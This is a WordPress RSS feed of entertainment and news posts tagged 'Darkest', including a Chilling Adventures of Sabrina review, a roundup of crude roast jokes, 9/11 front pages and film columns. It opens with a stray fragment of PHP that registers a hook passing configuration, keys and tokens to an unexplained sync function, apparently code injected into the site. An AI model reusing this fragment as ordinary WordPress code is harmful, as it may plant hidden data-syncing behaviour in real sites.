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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Darkest – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 31 Dec 2020 15:36:46 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Darkest – Brief News https://briefnews.eu 32 32 Sabrina’s Final Chilling Adventures Are Her Darkest (and Deadliest) Yet https://briefnews.eu/sabrinas-final-chilling-adventures-are-her-darkest-and-deadliest-yet/ https://briefnews.eu/sabrinas-final-chilling-adventures-are-her-darkest-and-deadliest-yet/#respond Thu, 31 Dec 2020 15:36:46 +0000 https://briefnews.eu/sabrinas-final-chilling-adventures-are-her-darkest-and-deadliest-yet/

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Darkness is the magic word in Chilling Adventures of Sabrina‘s final eight episodes, and it’s uttered approximately 10,000 times in the first hour alone.

The Darkness, as it turns out, is one of eight Eldritch Terrors that Father Blackwood — sorry, make that “Reverend Lovecraft” — has unleashed upon an unsuspecting Greendale. (When will this town learn? Always. Be. Suspecting.)

And as darkness so often does on supernatural teen dramas, it manifests in forms both metaphorical and physical. In addition to the arrival of some murderous miners, Sabrina and Ambrose also discover a goopy pit of literal despair deep within the mines. Frankly, we’re just glad to see that Malivore is getting some work while Legacies is on hiatus.

When it becomes apparent that Sabrina isn’t powerful enough to stop the Capital-D Darkness by herself, she turns to a face that couldn’t be more familiar: her own! Sabrina Morningstar — who has fallen head over hooves for Caliban, by the way — offers her services without hesitation, despite the inherent danger of the two Sabrinas spending any prolonged amount of time together. According to Ambrose, the results could be “catastrophic.” And as you’ll see in later episodes, he’s not exaggerating.

Alas, even The Power of Two™ fails to generate enough light, so the Sabrinas turn to their aunts — and to Hecate, the latest source of the coven’s power — at the Academy of Unseen Arts. (Question for the group: How many different deities has this coven pledged its allegiance to over the years? If those students knew what was good for them, they would transfer to literally any other magical institution in existence. May we suggest the Salvatore School for the Young and Gifted?)

With this first Eldritch Terror behind them, the Sabrinas can rest easy… but not for long. From resurrected enemies and twisted new foes to multiple weddings and unexpected musical numbers (get ready to rock, you guys!), there’s still plenty of fresh hell awaiting our favorites in the show’s fourth and final chapter.

Also worth discussing…

* Part 4 finds the titular teenage witch single and ready to mingle, with two potential love interests presenting themselves in the premiere alone. Though she initially turns down offers from both Carl and Melvin, Sabrina has a change of heart by the end of the hour, ultimately asking both boys out on separate dates. And can you blame her for wanting to get back in the game? With everyone else in her life now paired off — Harvey and Roz, Theo and Robin, and now Nick and Prudence — she’s becoming something of a third wheel.

* WICCA’s petition for a sex education class at Baxter High results in the first of several Riverdale references in Part 4. “At Riverdale, they have condom machines in the bathroom!” Roz informs her fellow group members. We’ll have more on those references — as well as the large-scale crossover that we would have seen in Part 5 — in the coming days.

* This premiere sets the tone for what is easily the show’s darkest run of episodes yet. Major events go down in these final eight hours; relationships change forever, fan-favorite characters die, and if you thought the mythology was dense before… heaven help you.

How do you feel about the setup for Chilling Adventures of Sabrina‘s final episodes? Grade the premiere below, then drop a comment with more of your thoughts. (And if you’ve seen beyond Episode 1, try not to spoil anything for those who haven’t.)

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]]> https://briefnews.eu/sabrinas-final-chilling-adventures-are-her-darkest-and-deadliest-yet/feed/ 0 Alec Baldwin Roast: The 27 Darkest Jokes (Mostly About Caitlyn Jenner) https://briefnews.eu/alec-baldwin-roast-the-27-darkest-jokes-mostly-about-caitlyn-jenner/ https://briefnews.eu/alec-baldwin-roast-the-27-darkest-jokes-mostly-about-caitlyn-jenner/#respond Mon, 16 Sep 2019 09:08:12 +0000 http://briefnews.eu/alec-baldwin-roast-the-27-darkest-jokes-mostly-about-caitlyn-jenner/

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The best way to sum up Sunday’s Comedy Central Roast of Alec Baldwin is with these words from his Baldwin’s daughter Ireland: “I actually have a lot in common with the people on this roast because, like them, I don’t really know you that well.”

Seriously, we’re used to seeing a few puzzling faces on these specials — is anyone actually friends with Jeff Ross, for example? — but Baldwin’s dais was truly a mixed bag of nuts, including everyone from A-listers like Robert De Niro to E!-listers like Caitlyn Jenner. And they all gave it to him good.

Below, we round up some the most outrageous digs from Comedy Central’s two-hour “tribute” to the man formerly known as Jack Donaghy:

* Roastmaster Sean Hayes (no, seriously!) established an appropriately high-brow tone with a series of, well, dick, jokes: “No offense, Blake [Griffin], but I’m a better ball handler than you. And Caitlyn Jenner is here. I can’t believe you’re here. Wow. You’ve got balls, girl. Caitlyn, being here tonight is braver than anything you’ve ever done. But don’t worry, any parts you don’t like can be cut.”

* Sean Hayes then referenced the roast’s noticeable lack of 30 Rock actors, joking that he wasn’t Comedy Central’s original choice to host: “Even Tracy Morgan said, I’d rather go shopping at Walmart with the Walmart driver who hit me.” (Yikes.)

* Nikki Glaser also took some shots at Caitlyn Jenner after reminding the crowd of her past as an Olympian. “People forget how fast you ran… from your first family to film a reality show.” She then questioned by Jenner insists on being a Republican, asking, “What does that party have to do to lose your support — be your son?”

* Then she got really dark, telling Robert De Niro, “I can’t believe I get to share this stage with you. And by this stage, I mean the final stage of your life.”

* And there were plenty of jokes made about the infamous voicemail Alec Baldwin left for Ireland — you know, the one where he called her a “rude, thoughtless little pig” when she was only 11 years old. “Don’t worry, nothing said tonight will be more offensive than what you left on your daughter’s voicemail,” Sean Hayes said in his opening monologue. Ireland Baldwin later said she almost didn’t know this roast was happening, because she hasn’t checked her voicemail in 12 years. Watch footage of Ireland’s awkward set below:

* Saturday Night Live‘s Chris Redd used his time at the podium to genuinely take Caitlyn Jenner to task for her questionable politics: “You goddamn hypocrite. You’re against gay marriage, you voted for Trump — you’re like the Auntie Tom of the trans community. You did open the door for trans people, but then you ran in and slammed that s–t behind your flat ass.”

* For what it’s worth, Caitlyn Jenner attempted to make good by closing her set with this message: “I’m a person trying to figure out my life, just like everyone else. All I want is for future generations of transgender people to know that if I can find the courage to be who I am, you can too. If you have a problem with that, you can suck my d–k… if you can find it!” Watch part of her set below:

* The most uncomfortable set came courtesy of Adam Carolla, who delivered a rant about “social justice warriors”: “You people can blow me, you p–sy f–k sticks. This is a roast. Comedians need a place where they can be offensive without bulls–t fake outrage. You hashtag heroes, you already ruined the Oscars! You’re all woke and no joke. So, if you were offended by anything said tonight, please give a reach-around to your emotional support dog and shut the f–k up. This is our safe space, bitches.”

* And the most disturbing exchange occurred between Robert De Niro and Caitlyn Jenner. “There’s something different about you,” he said, “but I can’t quite put my finger in it.” Then came Jenner’s excited reply, “Yes, you can!”

Other notable one-liners…

* Sean Hayes to Alec Baldwin: “This will be the funniest thing you’ve ever been a part of that Tina Fey didn’t carry you through.”

* Nikki Glaser to Jeff Ross: “You look like if Popeye only ate Popeyes.”

* Blake Griffin to Sean Hayes: “I’m not going to stand here and run a bunch of hackneyed gay jokes into the ground. I’m not Will & Grace.”

* “Chris Redd looks like a police sketch of someone doing blackface.” — Blake Griffin

* Sean Hayes introducing Caroline Rhea: “Remember the hot aunt from Sabrina the Teenage Witch? Well, we got the other one.”

* “Sean Hayes is going to be difficult to top, but plenty of men have managed to do it.” — Caroline Rhea

* “Alec, where are your brothers tonight? God knows they’re not working!” — Caroline Rhea

* “Her daughter Kylie sold a billion dollars worth of makeup, and [Caitlyn’s] wearing all of it tonight.” — Sean Hayes

* “Alec’s wife is so young, he introduces them as ’23 and me.’” — Ken Jeong

* “It hasn’t been easy being the daughter of an iconic movie star… but I’m not here to talk about my mother… or her Oscar.” — Ireland Baldwin

* Ireland to Alec Baldwin: “Before I leave, I’d like to say something you never said to me, ‘Goodnight.’”

* “I thought Jimmy Kimmel was here tonight, but I was just smelling Adam Carolla’s finger.” — Triumph the Insult Comic Dog

* Sean Hayes introducing Robert De Niro: “He’s got two Oscars, and his balls are nominated for a SAG Award.”

* “What the f–k am I doing here?” — Robert De Niro

* Jeff Ross to Adam Carolla: “You have to own up to it. You said women aren’t funny. But they are. And you should have hired some of them to write your jokes tonight.”

* Jeff Ross to Caitlyn Jenner: “How can someone who chooses to be a woman vote against a woman’s right to choose?”

* Alec Baldwin to Blake Griffin: “You’re a remarkable man, Blake. I wish we were as close as your eyes are.”

* Alec Baldwin to Adam Carolla: “You may have a vineyard, but you do most of your white whining on your podcast.”

If you watched Baldwin’s roast, what were your favorite moments? And which roaster is your personal MVP? Cast your vote below, then drop a comment with your thoughts on the night.

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]]> https://briefnews.eu/alec-baldwin-roast-the-27-darkest-jokes-mostly-about-caitlyn-jenner/feed/ 0 ‘AMERICA’S DARKEST DAY’: See newspaper headlines from around the world 24 hours after 9/11 https://briefnews.eu/americas-darkest-day-see-newspaper-headlines-from-around-the-world-24-hours-after-9-11/ https://briefnews.eu/americas-darkest-day-see-newspaper-headlines-from-around-the-world-24-hours-after-9-11/#respond Tue, 11 Sep 2018 12:57:27 +0000 http://briefnews.eu/americas-darkest-day-see-newspaper-headlines-from-around-the-world-24-hours-after-9-11/ new york post september 11New York Post

  • Tuesday is the anniversary of the September 11, 2001, terrorist attacks.
  • The day after the attacks, newspapers around the world reacted by capturing the sadness, shock, and horror people felt.
  • We compiled front pages from American and international newspapers to show what people woke up to on September 12, 2001.

The September 11, 2001, terrorist attacks happened exactly 17 years ago Tuesday.

For many people, the attacks were the biggest news story of their lifetime. Almost all who experienced it can remember where they were when they heard of the attacks.

Many people who remember that day also recall the following morning, when newspapers around the world captured the horror, shock, and sadness people felt.

The Newseum, a museum in Washington, DC, that chronicles the history of media, archived more than 100 newspapers from September 12, 2001, the day after the attacks. The front pages of these newspapers, bearing headlines like “ACT OF WAR” and “AMERICA’S DARKEST DAY,” underscore the impact the attacks had on the American psyche.

Here is what newspapers looked like the day after September 11, 2001.

The New York Times

New York Times

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New York Post

New York Post

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New York Daily News

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]]> https://briefnews.eu/americas-darkest-day-see-newspaper-headlines-from-around-the-world-24-hours-after-9-11/feed/ 0 How I find laughter in the darkest corners https://briefnews.eu/how-i-find-laughter-in-the-darkest-corners-2/ https://briefnews.eu/how-i-find-laughter-in-the-darkest-corners-2/#respond Sun, 05 Aug 2018 08:17:07 +0000 http://briefnews.eu/how-i-find-laughter-in-the-darkest-corners-2/

THE STAND-UP comedian’s handbook doesn’t have a huge chapter on mental health jokes and even though the stigma may be crumbling it’s a dark corner where few are willing to tread. From mother-in-law gags to observational riffs on anything from school places to supplies of humus, mainstream comedy tends to play it safe.

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But Felicity Ward is tackling taboos until they reveal their funny spots, winning a huge following and exposing an alternative approach to mental health issues – which affect one in four people in the UK.

“I like a challenge,” laughs Felicity, who is appearing at the Edinburgh Festival Fringe and starts a new BBC Radio 4 comedy series looking into anxiety, depression and irritable bowel syndrome this week, trying to find solutions to her problems using apps.

“I’ve got heaps of issues so why not make the most of them? If you take a subject that is a little more challenging and get people to laugh at it then the pay-off is much greater and more rewarding.”

Felicity has presented documentaries on mental illness and is candid about her own issues but rebuffs any suggestion that her work is a crusade.

“My job on stage is to make people laugh and that’s all I want to do,” says the 37-year-old Australian, who now lives in London.

“I don’t think I’m a voice of anything but I offer something different.

“Professionals talk about mental health even if they don’t necessarily have it or it is spoken about by well-meaning people in the community who are very earnest and serious. The advantage I have is that I’m making jokes from the inside rather than the outside. I have the experience to speak about it and, maybe more importantly, make jokes about it.

“One person emailed me after a show from their doctor’s surgery saying they had been in denial about their anxiety issues but seeing my set made them do something about it.

“I’ve got messages from people who said their parents took them along and, from not being able to talk about their issues, they now have a common language and can make jokes about mental health. It is not something I set out to do but it is a beautiful by-product.

“I’m not trying to change anyone’s lives. My sole purpose is to make people laugh but it feels nice to make jokes about mental health because people don’t joke about it that often.”

Felicity has been a regular on Australian TV but her move into the limelight was stalked by depression, anxiety and IBS which has followed her since her teenage years.

She decided not to hide them and made the acclaimed documentary Felicity’s Mental Mission which challenged public perceptions of mental health conditions.

She has built a huge following on the comedy circuit with a series of sell-out shows and appeared on a string of TV comedy and panel shows.

“A different conversation has developed around mental health over the past five years but people don’t make jokes about it, and understandably so. Yet when people who have it get together and talk to each other, they joke about it and have laughs because our behaviour is crazy at times.

“Part of my comedy is about making an in-joke accessible to people who don’t have mental health issues and they all get in on it. And there are rarely any awkward moments – unless the joke isn’t funny – and people get more uncomfortable when I talk about IBS. It doesn’t actually occur to me to feel embarrassed about the subjects.”

Felicity, who embarks on a national tour in October, has had counselling sessions, cognitive behaviour therapy and indulged in mindfulness apps, which sparked the source material for her Radio 4 show.

It dissects the booming trade that has seen more than 10,000 mindfulness apps crowd the market at a time when official support services are stretched or non-existent in some areas of the UK.

She says: “No one thing works for me and I think that is true for most mentally ill people. The shows are a cheeky look at the apps. They are not serious research but I have listened to an awful lot of self-esteem and IBS apps along the way.

“The comedy is in no way a therapy or cathartic for me. I deal with every serious medical issue I have off-stage with professional help first and only when I feel I have a deep understanding of it and have tools to deal with it, can I talk about it on stage.

“Because of my emotional make up, I don’t want to get half-way through a run and have a sudden realisation, as it wouldn’t turn out well – there is not much of a filter between my brain and mouth.”

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]]> https://briefnews.eu/how-i-find-laughter-in-the-darkest-corners/feed/ 0 Two years later, Darkest Dungeon is completely different for the better https://briefnews.eu/two-years-later-darkest-dungeon-is-completely-different-for-the-better/ https://briefnews.eu/two-years-later-darkest-dungeon-is-completely-different-for-the-better/#respond Mon, 23 Jul 2018 11:28:55 +0000 http://briefnews.eu/two-years-later-darkest-dungeon-is-completely-different-for-the-better/

Enlarge / The deeper you go, the more alien the Endless Harvest becomes. (credit: Red Hook Games)

Darkest Dungeon’s newest DLC isn’t quite like anything else in the game prior. The expansion, called “The Color of Madness,” is a clear homage to an H.P. Lovecraft story—“The Colour Out of Space”—in a game already full of such homages. But it also incorporates a whole new style of endless mission into Darkest Dungeon’s grueling grind.

Also, there are aliens.

Like the story on which it’s based, “The Color of Madness” starts with a comet crash landing into a farmstead. The impact spreads strange, slimy crystals across the surrounding land and its inhabitants, morphing them into a new enemy faction called Husks. Husks aren’t particularly tough but make up for their weakness with numbers. “The Color of Madness” mostly plays out as an endless, wave-based horde mode, granting better rewards the longer a single team survives the thronging masses. And if your team dies? It’ll just be temporarily lost in time and space, keeping its items and progress without that pesky perma-death.

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]]> https://briefnews.eu/two-years-later-darkest-dungeon-is-completely-different-for-the-better/feed/ 0 ‘The Darkest Minds’ Trailer: Your Next YA Obsession Comes from the Producers of ‘Stranger Things’ https://briefnews.eu/the-darkest-minds-trailer-your-next-ya-obsession-comes-from-the-producers-of-stranger-things/ https://briefnews.eu/the-darkest-minds-trailer-your-next-ya-obsession-comes-from-the-producers-of-stranger-things/#respond Wed, 28 Mar 2018 18:45:44 +0000 http://briefnews.eu/the-darkest-minds-trailer-your-next-ya-obsession-comes-from-the-producers-of-stranger-things/ The Darkest Minds trailer

Just when you thought the young-adult movie genre was just about to fizzle out, in comes The Darkest Minds. It’s everything you want and need in a YA movie: beautiful teens with inexplicably perfect hair, menacing government corporations, and a weird sci-fi twist. And that twist is superpowers.

Yeah, that teen superhero thing has already been done. Again. And again. But The Darkest Minds does have some impressive names behind it that may elevate it from a tired genre.

The Darkest Minds Trailer

Based on the novel by Alexandra Bracken, The Darkest Minds is a YA sci-fi thriller from the producers of Stranger Things and Arrival. Shawn Levy (Stranger Things, Arrival) and Dan Levine (Arrival) have their names attached to this Netflix film, and the trailer really wants you to know that. But barring the incessant plugging of two great sci-fi properties that have nothing in common, The Darkest Minds doesn’t look half bad.

Amandla Stenberg is the intrepid protagonist who develops powers that she can’t control after an unnamed worldwide catastrophe. And she’s not the only one. Teens across the globe suddenly find themselves with superpowers, and this being a YA movie, the government immediately corrals them for experimentation and servitude. But Stenberg’s Ruby escapes alongside three other teens (Harris Dickinson, Skylan Brooks, and Miya Cech) and they seek out a community where kids can live free from the government.

The trailer gives off an X-Men meets Divergent vibe, which is not necessarily a bad thing. And Stenberg is a promising young star who gave off a heart-warming and vulnerable performance in The Hunger Games, a series whose influence you can feel all over this trailer.

The YA genre may be fading from theaters, perhaps it will find a second life on Netflix.

The Darkest Minds is set to premiere on Netflix on August 3, 2018. It’s directed by Jennifer Yuh Nelson with a screenplay by Chad Hodge. It also stars Mandy Moore and Gwendoline Christie.

When teens mysteriously develop powerful new abilities, they are declared a threat by the government and detained. Sixteen-year-old Ruby, one of the most powerful young people anyone has encountered, escapes her camp and joins a group of runaway teens seeking safe haven. Soon this newfound family realizes that, in a world in which the adults in power have betrayed them, running is not enough and they must wage a resistance, using their collective power to take back control of their future.

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]]> https://briefnews.eu/the-darkest-minds-trailer-your-next-ya-obsession-comes-from-the-producers-of-stranger-things/feed/ 0 Gary Oldman on Churchill Darkest Hour SEQUEL with STALIN and Roosevelt https://briefnews.eu/gary-oldman-on-churchill-darkest-hour-sequel-with-stalin-and-roosevelt/ https://briefnews.eu/gary-oldman-on-churchill-darkest-hour-sequel-with-stalin-and-roosevelt/#respond Wed, 28 Feb 2018 22:43:18 +0000 http://briefnews.eu/gary-oldman-on-churchill-darkest-hour-sequel-with-stalin-and-roosevelt/

Rather than the Darkest Hour, the new movie is already looking like it will be the British star’s own finest hour.

After years of awards snubs and disappointments, it looks almost certain that the Academy will follow the BAFTAs and give Oldman his first Best Actor Oscar this Sunday.

Unsurprisingly, the actor himself may not be ready to say farewell to Winston Churchill.

In a new interview he reveals the idea for a sequel set at the 1945 Yalta Conference after World War 2 and givng the tantalising possibility that his towering performance could be matched by new on screen incarnations of the equally iconic US and Russian leaders. 

In the latest Hollywood Reporter interview, Oldman explained how close he came to not accepting the role at all.

He said: “Racked with insecurity. I turned down Churchill many times. And didn’t want to do it. Didn’t want to go near it. And, ultimately, I think it was fear. And you’re walking in the shadow of [others].”

After it resulted in the greatest accolades of his acreer, he happily discusses where the story could go next: “At the end of the war, there’s the summit with Stalin… And so that is another. Yeah, you know, we might. And we’d get someone. Roosevelt’s a great character, he’s on his way out there isn’t he? Yeah, so maybe. But I need a break from the makeup chair.”

Of course, it’s not just the incredible make-up that transformed Oldman into the iconic war leader. The actor revealed just how much he put into the role, someting he fears younger generations might not understand.

He said: “What you see in Darkest Hour – there’s facility and talent and intuition and things that are at work there. But what you are really looking at is hard homework, hard work. And that is sitting at my kitchen table, pounding those lines in. You are playing someone whose brain is moving is that thing again, a running condition, that inner motor that Churchill had, dynamic, a brain, people not being able to catch up with him. You can’t be searching for those words, searching for the text. You’ve got to know it to a point. I knew when I got to rehearsal for Darkest Hour, I was off the book. Like a play. I knew it like a play. And then it’s in you. And it’s got to be in your blood stream. And that is homework.”

Oldman added: “So there’s things — you can’t teach intuition, you can hone it, you can sharpen it, but you can’t give that to someone. There’s things that you can’t teach. But there are many things that you can. And I see this with my own kids, the younger generation. They want to find it all in five minutes. And the trick is to put the work in. It’s like a dancer: you’re not supposed to see the hard work.”

READ THE FULL INTERVIEW IN THE HOLLYWOOD REPORTER

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]]> https://briefnews.eu/gary-oldman-on-churchill-darkest-hour-sequel-with-stalin-and-roosevelt/feed/ 0 Darkest Hour 2: Gary Oldman considering Winston Churchill RETURN for sequel and stage play https://briefnews.eu/darkest-hour-2-gary-oldman-considering-winston-churchill-return-for-sequel-and-stage-play/ https://briefnews.eu/darkest-hour-2-gary-oldman-considering-winston-churchill-return-for-sequel-and-stage-play/#respond Wed, 28 Feb 2018 08:47:47 +0000 http://briefnews.eu/darkest-hour-2-gary-oldman-considering-winston-churchill-return-for-sequel-and-stage-play/

The 59-year-old actor looks almost certain to win the Best Actor Oscar at the 90th Academy Awards on Sunday evening.

Oldman portrayed Sir Winston Churchill in Darkest Hour, garnering large critical acclaim for his performance.

Covering just a few weeks in 1940, there is still much of the World War II primer minister’s life that could be explored and Oldman is certainly open to at least two other projects.

According to , the actor is adapting a short story by Churchill – based on a dream he had – into a play and is interested in a film sequel to Darkest Hour, set in 1945 at the end of the war.

On the play, Oldman said: “It’s [about] the ghost of his father, Randolph, who visits him in his studio at Chartwell [Churchill’s country residence].

“It’s two people, not an expensive thing to do. It might be something I’ll try and get on its feet.

“I long to go back [to the stage]. It’ll be quite terrifying, I’m sure, after 20 years.”

On a follow-up to Darkest Hour, the actor continued: “There could be [a sequel] because at the end of the war, there’s the summit with Stalin and [Roosevelt].”

He added: “Roosevelt’s a great character; he’s on his way out. So maybe.

“[But] I need a break from the makeup chair.”

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]]> https://briefnews.eu/darkest-hour-2-gary-oldman-considering-winston-churchill-return-for-sequel-and-stage-play/feed/ 0 The 10 Best Movies to Buy or Stream This Week: ‘Coco,’ ‘Three Billboards,’ ‘Darkest Hour’ https://briefnews.eu/the-10-best-movies-to-buy-or-stream-this-week-coco-three-billboards-darkest-hour/ https://briefnews.eu/the-10-best-movies-to-buy-or-stream-this-week-coco-three-billboards-darkest-hour/#respond Tue, 27 Feb 2018 17:52:29 +0000 http://briefnews.eu/the-10-best-movies-to-buy-or-stream-this-week-coco-three-billboards-darkest-hour/ There’s a lot that’s new in this week’s jam-packed column, from three big nominees at this Sunday’s Oscars to two previous winners to our usual assortment of indies and classics. There’s so much to see! Movies are good, you guys.

ON NETFLIX:

Lincoln: With Steven Spielberg’s The Post and the Daniel Day-Lewis-starrer Phantom Thread up for a generous helping of Oscars on Sunday, Netflix couldn’t have picked a better time to re-up their 2012 collaboration, which itself picked up prizes for Best Actor and Best Production Design. Working from a hyper-intelligent screenplay by the great Tony Kushner (based on Doris Kearns Goodwin’s essential book Team of Rivals), Spielberg wisely eschews the customary – and presumably hard to resist – cradle-to-grave arc typical of so many blander biopics, instead focusing on a single moment in the president’s political life that extends far beyond it. Day-Lewis is, as usual, sublime in the role; a jaw-dropping cast of ace character actors (including Sally Field, Tommy Lee Jones, David Strathairn, James Spader, Hal Holbrook, John Hawkes, Tim Blake Nelson, Bruce McGill, Jared Harris, Lee Pace, Jackie Earl Haley, and Gloria Reuben) shines bright.

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Quest: Director/cinematographer Jonathan Olshefski spent eight years, from 2008 to 2015 (the Obama years, in fact; Obama/Biden signs cover the neighborhood early on, and the elections provide useful guideposts to the chronology) with the Raineys, a fairly typical North Philadelphia family that, in that time and before it, face a number of everyday trials and tribulations. There are money troubles and addiction demons, there are tragedies in their pasts and quite nearly one in their present. But they don’t complain and they don’t despair; they carry on, pausing only to be thankful for what they have, and who they are. Epic in scope yet modest in execution, it’s a film with much to say (without ever explicitly sayingit) about class and race in America, and about family, and its small miracles.

ON BLU-RAY / DVD / VOD

Coco: Pixar’s latest is one of their best, and a welcome reprieve from a run of duds and sequels. Charming and heartfelt, it concerns a young man’s quest to become a musician – a journey that takes him across nothing less than the divide between the living and the dead (don’t worry, it’s on the Day of the Dead, so it’s less scary than it sounds), and to the truth about a family he’s never really known. The animation is inventive, the songs are lively, the protagonist is adorable, and its closing passages vibrate with earned emotion and honest poignancy. It’s a real treat. (Includes audio commentary, deleted scenes, and featurettes.)

Three Billboards Outside Ebbing, Missouri: Nothing’s better than the moment where a good movie becomes a great one, and I can tell you when that moment happens in In Bruges writer/director Martin McDonagh’s latest with pinpoint precision: it’s when we hear a letter Chief Willoughby (Woody Harrelson) has written to his wife, which begins as a motivation explainer, and then swims gracefully into straight-up poetry. That he can accomplish that transition, and then pivot into horrifying violence not long after, speaks volumes about McDonagh’s mastery of tone, and Three Billboards takes turns that most filmmakers wouldn’t even attempt, much less sustain. But watching McDonagh pull this off is, in its own way, thrilling; it’s one of those movies that makes you marvel at everything one film can be. (Includes featurette and McDonagh’s Oscar-winning 2004 short film Six Shooter.)

Darkest Hour: It’s easy to slag Joe Wright’s Oscar-friendly period drama, which takes a Lincoln­-style snapshot of Winston Churchill is his first month or so as Prime Minister of Great Britain – and, to be fair, it seems to exist primarily as a showcase for the gifts of Gary Oldman, who is somewhere under the layers of make-up required to give him the appearance of the legendary leader. But it is one hell of a performance, mannered and studied though it may be, while Wright’s direction is fleet-footed and the supporting characters are given more dimension than you might expect. Is it a great movie? Not quite. But it’s a decent one, and Oldman’s going to win his Best Actor Oscar, so you may as well give it a peek. (Incudes audio commentary and featurettes.)

ON BLU-RAY / FILMSTRUCK

Tom Jones: This rowdy and ribald period comedy from director Tony Richardson, a new addition to the Criterion Collection, is mostly remembered for two things: its funny/sexy dinner scene between Albert Finney and Joyce Redman, and for being one of the “weaker” winners of the Academy Award for Best Picture. It’s not hard to see why; from its silent movie-style opening to its flashes of Benny Hill-style bedroom farce, it’s not the kind of Serious Picture that usually takes that honor, and if the movie is high-spirited, it’s also a tad uneven. But its competition that year included Cleopatra and How the West Was Won, so we’re not exactly talking grave injustices here – it’s an enjoyable bit of fluff, nothing more, nothing less. (Also streaming on FilmStruck.) (Includes theatrical version and director’s cut, featurette, new and archival interviews, and Finney on The Dick Cavett Show.)

ON BLU-RAY

Lady and the Tramp: Disney’s darling 1955 animated adventure has been out of reach for Blu-ray buyers for a while now (thanks, Disney Vault!), but it’s back in circulation as part of the “Disney Signature Collection,” and it’s as enjoyable as ever. The spaghetti-eating scene is the go-to image from this one, of course (and it’s properly placed on the cover), but there’s a lot more going on here: a story of romance from opposite sides of the tracks, tinged with the melancholy of rejection in the home and even a dash of heroism. The Blu-ray restoration (though the same as the “Diamond Edition” six years back) is lovely – the colors pop and the songs hum – and this remains one of Disney’s sweetest animal adventures. (Includes audio commentary, deleted scenes, sing-a-long version, and featurettes.)

The Outlaw: This 1943 Western from producer/director Howard Hughes (and an uncredited Howard Hawks) was notoriously promoted with the ample cleavage of star Jane Russell, so ‘40s horndogs must’ve been more than a little disappointed by the film itself, in which Russell is mere window dressing for yet another telling of the Billy the Kid/Pat Garrett story (and doesn’t even show up until a good two reels in). But she does generate real heat with Jack Beutel’s Billy, particularly in a wild kissing POV and a sequence wherein (if I was following, and I think I was) she basically screws the dying cowboy back to life (off-screen, of course). The rest of the movie hits and misses; the score is horrifying and the pace drags, but Thomas Mitchell (Uncle Billy from It’s A Wonderful Life) and Walter Huston make a memorable Pat Garrett / Doc Holliday combo, and the film’s homosexual subtext is unexpectedly juicy. More a curiosity than anything, but KL Studo Classic’s Blu-ray transfer is a much-needed upgrade from years of poor public domain releases. (Includes audio commentary and trailers.)

Harper / The Drowning Pool: Paul Newman took on the role of Ross Macdonald’s private eye Lew Archer (here renamed Lew Harper) in two films, separated by nine years; Warner Archive is now releasing both of them on Blu-ray, and they’re a lot of fun. In the first, 1966’s Harper, Newman’s Bogart-esque P.I. dives deep into the hippy-dippy world of mid-60s Los Angeles, and mines the fish-out-of-water scenario for some good lines and laughs; it’s a hyper-cool performance, and director Jack Smight’s lets Newman’s laid-back style steer the picture, for the better. The 1975 follow-up The Drowning Pool puts him into another new environment, the swamps of the Louisiana bayou, and matches the actor up with his real-life love Joanne Woodward, which lends their characters’ flirtation some unexpected gravitas. Melanie Griffith also turns up in a sex-kitten role similar to her turn in another private dick movie that year, Night Moves, a mirroring that underscores the conventionality of these movies, and the latter in particular, in an era that gave us the subversions of The Long Goodbye, Chinatown, and The Late Show. But as conventional gumshoe movies go, you could do a lot worse. (Harper includes audio commentary and trailer; The Drowning Pool includes vintage featurette and trailer.)

                                                                                                

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